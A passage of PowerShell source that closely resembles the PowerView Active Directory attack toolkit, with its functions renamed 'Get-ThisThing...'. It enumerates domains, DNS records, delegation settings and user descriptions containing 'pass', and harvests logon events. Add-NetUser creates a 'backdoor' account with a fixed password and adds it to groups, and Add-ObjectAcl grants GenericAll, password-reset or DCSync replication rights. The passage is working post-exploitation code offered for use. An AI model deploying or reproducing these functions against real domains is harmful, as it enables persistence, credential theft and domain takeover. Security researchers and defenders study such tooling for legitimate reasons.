}
catch {
$ObjectProperties[$_] = $Prop[$_]
}
}
elseif($Properties[$_].count -eq 1) {
$ObjectProperties[$_] = $Properties[$_][0]
}
else {
$ObjectProperties[$_] = $Properties[$_]
}
}
New-Object -TypeName PSObject -Property $ObjectProperties
}
filter Get-DomainSearcher {
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$Domain,
[String]
$DomainController,
[String]
$ADSpath,
[String]
$ADSprefix,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
if(-not $Credential) {
if(-not $Domain) {
$Domain = (Get-ThisThingDomain).name
}
elseif(-not $DomainController) {
try {
# if there's no -DomainController specified, try to pull the primary DC to reflect queries through
$DomainController = ((Get-ThisThingDomain).PdcRoleOwner).Name
}
catch {
throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
}
}
}
elseif (-not $DomainController) {
# if a DC isn't specified
try {
$DomainController = ((Get-ThisThingDomain -Credential $Credential).PdcRoleOwner).Name
}
catch {
throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
}
if(!$DomainController) {
throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
}
}
$SearchString = "LDAP://"
if($DomainController) {
$SearchString += $DomainController
if($Domain){
$SearchString += '/'
}
}
if($ADSprefix) {
$SearchString += $ADSprefix + ','
}
if($ADSpath) {
if($ADSpath -Match '^GC://') {
# if we're searching the global catalog
$DN = $AdsPath.ToUpper().Trim('/')
$SearchString = ''
}
else {
if($ADSpath -match '^LDAP://') {
if($ADSpath -match "LDAP://.+/.+") {
$SearchString = ''
}
else {
$ADSpath = $ADSpath.Substring(7)
}
}
$DN = $ADSpath
}
}
else {
if($Domain -and ($Domain.Trim() -ne "")) {
$DN = "DC=$($Domain.Replace('.', ',DC='))"
}
}
$SearchString += $DN
Write-Verbose "Get-DomainSearcher search string: $SearchString"
if($Credential) {
Write-Verbose "Using alternate credentials for LDAP connection"
$DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
}
else {
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
}
$Searcher.PageSize = $PageSize
$Searcher.CacheResults = $False
$Searcher
}
filter Convert-DNSRecord {
param(
[Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]
[Byte[]]
$DNSRecord
)
function Get-Name {
# modified decodeName from https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
[CmdletBinding()]
param(
[Byte[]]
$Raw
)
[Int]$Length = $Raw[0]
[Int]$Segments = $Raw[1]
[Int]$Index = 2
[String]$Name = ""
while ($Segments-- -gt 0)
{
[Int]$SegmentLength = $Raw[$Index++]
while ($SegmentLength-- -gt 0) {
$Name += [Char]$Raw[$Index++]
}
$Name += "."
}
$Name
}
$RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)
$RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)
$UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)
$TTLRaw = $DNSRecord[12..15]
# reverse for big endian
$Null = [array]::Reverse($TTLRaw)
$TTL = [BitConverter]::ToUInt32($TTLRaw, 0)
$Age = [BitConverter]::ToUInt32($DNSRecord, 20)
if($Age -ne 0) {
$TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()
}
else {
$TimeStamp = "[static]"
}
$DNSRecordObject = New-Object PSObject
if($RDataType -eq 1) {
$IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]
$Data = $IP
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'
}
elseif($RDataType -eq 2) {
$NSName = Get-Name $DNSRecord[24..$DNSRecord.length]
$Data = $NSName
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'
}
elseif($RDataType -eq 5) {
$Alias = Get-Name $DNSRecord[24..$DNSRecord.length]
$Data = $Alias
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'
}
elseif($RDataType -eq 6) {
# TODO: how to implement properly? nested object?
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'
}
elseif($RDataType -eq 12) {
$Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]
$Data = $Ptr
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'
}
elseif($RDataType -eq 13) {
# TODO: how to implement properly? nested object?
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'
}
elseif($RDataType -eq 15) {
# TODO: how to implement properly? nested object?
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'
}
elseif($RDataType -eq 16) {
[string]$TXT = ""
[int]$SegmentLength = $DNSRecord[24]
$Index = 25
while ($SegmentLength-- -gt 0) {
$TXT += [char]$DNSRecord[$index++]
}
$Data = $TXT
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'
}
elseif($RDataType -eq 28) {
# TODO: how to implement properly? nested object?
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'
}
elseif($RDataType -eq 33) {
# TODO: how to implement properly? nested object?
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'
}
else {
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'
}
$DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial
$DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL
$DNSRecordObject | Add-Member Noteproperty 'Age' $Age
$DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp
$DNSRecordObject | Add-Member Noteproperty 'Data' $Data
$DNSRecordObject
}
filter Get-DNSZone {
param(
[Parameter(Position=0, ValueFromPipeline=$True)]
[String]
$Domain,
[String]
$DomainController,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential,
[Switch]
$FullData
)
$DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential
$DNSSearcher.filter="(objectClass=dnsZone)"
if($DNSSearcher) {
$Results = $DNSSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
# convert/process the LDAP fields for each result
$Properties = Convert-LDAPProperty -Properties $_.Properties
$Properties | Add-Member NoteProperty 'ZoneName' $Properties.name
if ($FullData) {
$Properties
}
else {
$Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged
}
}
$Results.dispose()
$DNSSearcher.dispose()
}
$DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones"
$DNSSearcher.filter="(objectClass=dnsZone)"
if($DNSSearcher) {
$Results = $DNSSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
# convert/process the LDAP fields for each result
$Properties = Convert-LDAPProperty -Properties $_.Properties
$Properties | Add-Member NoteProperty 'ZoneName' $Properties.name
if ($FullData) {
$Properties
}
else {
$Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged
}
}
$Results.dispose()
$DNSSearcher.dispose()
}
}
filter Get-DNSRecord {
param(
[Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]
[String]
$ZoneName,
[String]
$Domain,
[String]
$DomainController,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
$DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
$DNSSearcher.filter="(objectClass=dnsNode)"
if($DNSSearcher) {
$Results = $DNSSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
try {
# convert/process the LDAP fields for each result
$Properties = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
$Properties | Add-Member NoteProperty 'ZoneName' $ZoneName
# convert the record and extract the properties
if ($Properties.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
# TODO: handle multiple nested records properly?
$Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord[0]
}
else {
$Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord
}
if($Record) {
$Record.psobject.properties | ForEach-Object {
$Properties | Add-Member NoteProperty $_.Name $_.Value
}
}
$Properties
}
catch {
Write-Warning "ERROR: $_"
$Properties
}
}
$Results.dispose()
$DNSSearcher.dispose()
}
}
filter Get-ThisThingDomain {
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$Domain,
[Management.Automation.PSCredential]
$Credential
)
if($Credential) {
Write-Verbose "Using alternate credentials for Get-ThisThingDomain"
if(!$Domain) {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$Domain = $Credential.GetNetworkCredential().Domain
Write-Verbose "Extracted domain '$Domain' from -Credential"
}
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
$Null
}
}
elseif($Domain) {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust."
$Null
}
}
else {
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
}
filter Get-ThisThingForest {
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$Forest,
[Management.Automation.PSCredential]
$Credential
)
if($Credential) {
Write-Verbose "Using alternate credentials for Get-ThisThingForest"
if(!$Forest) {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$Forest = $Credential.GetNetworkCredential().Domain
Write-Verbose "Extracted domain '$Forest' from -Credential"
}
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
$Null
}
}
elseif($Forest) {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust."
return $Null
}
}
else {
# otherwise use the current forest
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
}
if($ForestObject) {
# get the SID of the forest root
$ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
$Parts = $ForestSid -Split "-"
$ForestSid = $Parts[0..$($Parts.length-2)] -join "-"
$ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
$ForestObject
}
}
filter Get-ThisThingForestDomain {
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$Forest,
[Management.Automation.PSCredential]
$Credential
)
$ForestObject = Get-ThisThingForest -Forest $Forest -Credential $Credential
if($ForestObject) {
$ForestObject.Domains
}
}
filter Get-ThisThingForestCatalog {
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$Forest,
[Management.Automation.PSCredential]
$Credential
)
$ForestObject = Get-ThisThingForest -Forest $Forest -Credential $Credential
if($ForestObject) {
$ForestObject.FindAllGlobalCatalogs()
}
}
filter Get-ThisThingDomainController {
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$Domain,
[String]
$DomainController,
[Switch]
$LDAP,
[Management.Automation.PSCredential]
$Credential
)
if($LDAP -or $DomainController) {
# filter string to return all domain controllers
Get-ThisThingComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
}
else {
$FoundDomain = Get-ThisThingDomain -Domain $Domain -Credential $Credential
if($FoundDomain) {
$Founddomain.DomainControllers
}
}
}
function Get-ThisThingUser {
param(
[Parameter(Position=0, ValueFromPipeline=$True)]
[String]
$UserName,
[String]
$Domain,
[String]
$DomainController,
[String]
$ADSpath,
[String]
$Filter,
[Switch]
$SPN,
[Switch]
$AdminCount,
[Switch]
$Unconstrained,
[Switch]
$AllowDelegation,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
begin {
# so this isn't repeated if users are passed on the pipeline
$UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize -Credential $Credential
}
process {
if($UserSearcher) {
# if we're checking for unconstrained delegation
if($Unconstrained) {
Write-Verbose "Checking for unconstrained delegation"
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
}
if($AllowDelegation) {
Write-Verbose "Checking for users who can be delegated"
# negation of "Accounts that are sensitive and not trusted for delegation"
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))"
}
if($AdminCount) {
Write-Verbose "Checking for adminCount=1"
$Filter += "(admincount=1)"
}
# check if we're using a username filter or not
if($UserName) {
# samAccountType=805306368 indicates user objects
$UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)"
}
elseif($SPN) {
$UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)"
}
else {
# filter is something like "(samAccountName=*blah*)" if specified
$UserSearcher.filter="(&(samAccountType=805306368)$Filter)"
}
$Results = $UserSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
# convert/process the LDAP fields for each result
$User = Convert-LDAPProperty -Properties $_.Properties
$User.PSObject.TypeNames.Add('PowerView.User')
$User
}
$Results.dispose()
$UserSearcher.dispose()
}
}
}
function Add-NetUser {
[CmdletBinding()]
Param (
[ValidateNotNullOrEmpty()]
[String]
$UserName = 'backdoor',
[ValidateNotNullOrEmpty()]
[String]
$Password = 'Password123!',
[ValidateNotNullOrEmpty()]
[String]
$GroupName,
[ValidateNotNullOrEmpty()]
[Alias('HostName')]
[String]
$ComputerName = 'localhost',
[ValidateNotNullOrEmpty()]
[String]
$Domain
)
if ($Domain) {
$DomainObject = Get-ThisThingDomain -Domain $Domain
if(-not $DomainObject) {
Write-Warning "Error in grabbing $Domain object"
return $Null
}
# add the assembly we need
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
# http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
# get the domain context
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject
# create the user object
$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context
# set user properties
$User.Name = $UserName
$User.SamAccountName = $UserName
$User.PasswordNotRequired = $False
$User.SetPassword($Password)
$User.Enabled = $True
Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain"
try {
# commit the user
$User.Save()
"[*] User $UserName successfully created in domain $Domain"
}
catch {
Write-Warning '[!] User already exists!'
return
}
}
else {
Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName"
# if it's not a domain add, it's a local machine add
$ObjOu = [ADSI]"WinNT://$ComputerName"
$ObjUser = $ObjOu.Create('User', $UserName)
$ObjUser.SetPassword($Password)
# commit the changes to the local machine
try {
$Null = $ObjUser.SetInfo()
"[*] User $UserName successfully created on host $ComputerName"
}
catch {
Write-Warning '[!] Account already exists!'
return
}
}
# if a group is specified, invoke Add-NetGroupUser and return its value
if ($GroupName) {
# if we're adding the user to a domain
if ($Domain) {
Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain
"[*] User $UserName successfully added to group $GroupName in domain $Domain"
}
# otherwise, we're adding to a local group
else {
Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName
"[*] User $UserName successfully added to group $GroupName on host $ComputerName"
}
}
}
function Add-NetGroupUser {
[CmdletBinding()]
param(
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$UserName,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$GroupName,
[ValidateNotNullOrEmpty()]
[Alias('HostName')]
[String]
$ComputerName,
[String]
$Domain
)
# add the assembly if we need it
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
# if we're adding to a remote host's local group, use the WinNT provider
if($ComputerName -and ($ComputerName -ne "localhost")) {
try {
Write-Verbose "Adding user $UserName to $GroupName on host $ComputerName"
([ADSI]"WinNT://$ComputerName/$GroupName,group").add("WinNT://$ComputerName/$UserName,user")
"[*] User $UserName successfully added to group $GroupName on $ComputerName"
}
catch {
Write-Warning "[!] Error adding user $UserName to group $GroupName on $ComputerName"
return
}
}
# otherwise it's a local machine or domain add
else {
try {
if ($Domain) {
Write-Verbose "Adding user $UserName to $GroupName on domain $Domain"
$CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain
$DomainObject = Get-ThisThingDomain -Domain $Domain
if(-not $DomainObject) {
return $Null
}
# get the full principal context
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject
}
else {
# otherwise, get the local machine context
Write-Verbose "Adding user $UserName to $GroupName on localhost"
$Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName)
}
# find the particular group
$Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName)
# add the particular user to the group
$Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName)
# commit the changes
$Group.Save()
}
catch {
Write-Warning "Error adding $UserName to $GroupName : $_"
}
}
}
function Get-UserProperty {
[CmdletBinding()]
param(
[String[]]
$Properties,
[String]
$Domain,
[String]
$DomainController,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
if($Properties) {
# extract out the set of all properties for each object
$Properties = ,"name" + $Properties
Get-ThisThingUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties
}
else {
# extract out just the property names
Get-ThisThingUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name'
}
}
filter Find-UserField {
[CmdletBinding()]
param(
[Parameter(Position=0,ValueFromPipeline=$True)]
[String]
$SearchTerm = 'pass',
[String]
$SearchField = 'description',
[String]
$ADSpath,
[String]
$Domain,
[String]
$DomainController,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
Get-ThisThingUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
}
filter Get-UserEvent {
Param(
[Parameter(ValueFromPipeline=$True)]
[String]
$ComputerName = $Env:ComputerName,
[String]
[ValidateSet("logon","tgt","all")]
$EventType = "logon",
[DateTime]
$DateStart = [DateTime]::Today.AddDays(-5),
[Management.Automation.PSCredential]
$Credential
)
if($EventType.ToLower() -like "logon") {
[Int32[]]$ID = @(4624)
}
elseif($EventType.ToLower() -like "tgt") {
[Int32[]]$ID = @(4768)
}
else {
[Int32[]]$ID = @(4624, 4768)
}
if($Credential) {
Write-Verbose "Using alternative credentials"
$Arguments = @{
'ComputerName' = $ComputerName;
'Credential' = $Credential;
'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};
'ErrorAction' = 'SilentlyContinue';
}
}
else {
$Arguments = @{
'ComputerName' = $ComputerName;
'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};
'ErrorAction' = 'SilentlyContinue';
}
}
# grab all events matching our filter for the specified host
Get-WinEvent @Arguments | ForEach-Object {
if($ID -contains 4624) {
# first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10)
if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))') {
if($Matches) {
$LogonType = $Matches[0].trim()
$Matches = $Null
}
}
else {
$LogonType = ""
}
# interactive logons or domain logons
if (($LogonType -eq 2) -or ($LogonType -eq 3)) {
try {
# parse and store the account used and the address they came from
if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)') {
if($Matches) {
$UserName = $Matches[0].split("`n")[2].split(":")[1].trim()
$Domain = $Matches[0].split("`n")[3].split(":")[1].trim()
$Matches = $Null
}
}
if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)') {
if($Matches) {
$Address = $Matches[0].split("`n")[2].split(":")[1].trim()
$Matches = $Null
}
}
# only add if there was account information not for a machine or anonymous logon
if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) {
$LogonEventProperties = @{
'Domain' = $Domain
'ComputerName' = $ComputerName
'Username' = $UserName
'Address' = $Address
'ID' = '4624'
'LogonType' = $LogonType
'Time' = $_.TimeCreated
}
New-Object -TypeName PSObject -Property $LogonEventProperties
}
}
catch {
Write-Verbose "Error parsing event logs: $_"
}
}
}
if($ID -contains 4768) {
# the TGT event type
try {
if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)') {
if($Matches) {
$Username = $Matches[0].split("`n")[1].split(":")[1].trim()
$Domain = $Matches[0].split("`n")[2].split(":")[1].trim()
$Matches = $Null
}
}
if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)') {
if($Matches) {
$Address = $Matches[0].split("`n")[1].split(":")[-1].trim()
$Matches = $Null
}
}
$LogonEventProperties = @{
'Domain' = $Domain
'ComputerName' = $ComputerName
'Username' = $UserName
'Address' = $Address
'ID' = '4768'
'LogonType' = ''
'Time' = $_.TimeCreated
}
New-Object -TypeName PSObject -Property $LogonEventProperties
}
catch {
Write-Verbose "Error parsing event logs: $_"
}
}
}
}
function Get-ObjectAcl {
[CmdletBinding()]
Param (
[Parameter(ValueFromPipelineByPropertyName=$True)]
[String]
$SamAccountName,
[Parameter(ValueFromPipelineByPropertyName=$True)]
[String]
$Name = "*",
[Parameter(ValueFromPipelineByPropertyName=$True)]
[String]
$DistinguishedName = "*",
[Switch]
$ResolveGUIDs,
[String]
$Filter,
[String]
$ADSpath,
[String]
$ADSprefix,
[String]
[ValidateSet("All","ResetPassword","WriteMembers")]
$RightsFilter,
[String]
$Domain,
[String]
$DomainController,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
begin {
$Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize
# get a GUID -> name mapping
if($ResolveGUIDs) {
$GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize
}
}
process {
if ($Searcher) {
if($SamAccountName) {
$Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"
}
else {
$Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"
}
try {
$Results = $Searcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Object = [adsi]($_.path)
if($Object.distinguishedname) {
$Access = $Object.PsBase.ObjectSecurity.access
$Access | ForEach-Object {
$_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
if($Object.objectsid[0]){
$S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
}
else {
$S = $Null
}
$_ | Add-Member NoteProperty 'ObjectSID' $S
$_
}
}
} | ForEach-Object {
if($RightsFilter) {
$GuidFilter = Switch ($RightsFilter) {
"ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }
"WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }
Default { "00000000-0000-0000-0000-000000000000"}
}
if($_.ObjectType -eq $GuidFilter) { $_ }
}
else {
$_
}
} | ForEach-Object {
if($GUIDs) {
# if we're resolving GUIDs, map them them to the resolved hash table
$AclProperties = @{}
$_.psobject.properties | ForEach-Object {
if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) {
try {
$AclProperties[$_.Name] = $GUIDS[$_.Value.toString()]
}
catch {
$AclProperties[$_.Name] = $_.Value
}
}
else {
$AclProperties[$_.Name] = $_.Value
}
}
New-Object -TypeName PSObject -Property $AclProperties
}
else { $_ }
}
$Results.dispose()
$Searcher.dispose()
}
catch {
Write-Warning $_
}
}
}
}
function Add-ObjectAcl {
[CmdletBinding()]
Param (
[String]
$TargetSamAccountName,
[String]
$TargetName = "*",
[Alias('DN')]
[String]
$TargetDistinguishedName = "*",
[String]
$TargetFilter,
[String]
$TargetADSpath,
[String]
$TargetADSprefix,
[String]
[ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')]
$PrincipalSID,
[String]
$PrincipalName,
[String]
$PrincipalSamAccountName,
[String]
[ValidateSet("All","ResetPassword","WriteMembers","DCSync")]
$Rights = "All",
[String]
$RightsGUID,
[String]
$Domain,
[String]
$DomainController,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
begin {
$Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize
if($PrincipalSID) {
$ResolvedPrincipalSID = $PrincipalSID
}
else {
$Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize
if(!$Principal) {
throw "Error resolving principal"
}
$ResolvedPrincipalSID = $Principal.objectsid
}
if(!$ResolvedPrincipalSID) {
throw "Error resolving principal"
}
}
process {
if ($Searcher) {
if($TargetSamAccountName) {
$Searcher.filter="(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)"
}
else {
$Searcher.filter="(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)"
}
try {
$Results = $Searcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
# adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects
$TargetDN = $_.Properties.distinguishedname
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ResolvedPrincipalSID)
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
$ControlType = [System.Security.AccessControl.AccessControlType] "Allow"
$ACEs = @()
if($RightsGUID) {
$GUIDs = @($RightsGUID)
}
else {
$GUIDs = Switch ($Rights) {
# ResetPassword doesn't need to know the user's current password
"ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }
# allows for the modification of group membership
"WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
# when applied to a domain's ACL, allows for the use of DCSync
"DCSync" { "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", "89e95b76-444d-4c62-991a-0facbeda640c"}
}
}
if($GUIDs) {
foreach($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType
}
}
else {
# deault to GenericAll rights
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll"
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType
}
Write-Verbose "Granting principal $ResolvedPrincipalSID '$Rights' on $($_.Properties.distinguishedname)"
try {
# add all the new ACEs to the specified object
ForEach ($ACE in $ACEs) {
Write-Verbose "Granting principal $ResolvedPrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)"
$Object = [adsi]($_.path)
$Object.PsBase.ObjectSecurity.AddAccessRule($ACE)
$Object.PsBase.commitchanges()
}
}
catch {
Write-Warning "Error granting principal $ResolvedPrincipalSID '$Rights' on $TargetDN : $_"
}
}
$Results.dispose()
$Searcher.dispose()
}
catch {
Write-Warning "Error: $_"
}
}
}
}
function Invoke-ACLScanner {
[CmdletBinding()]
Param (
[Parameter(ValueFromPipeline=$True)]
[String]
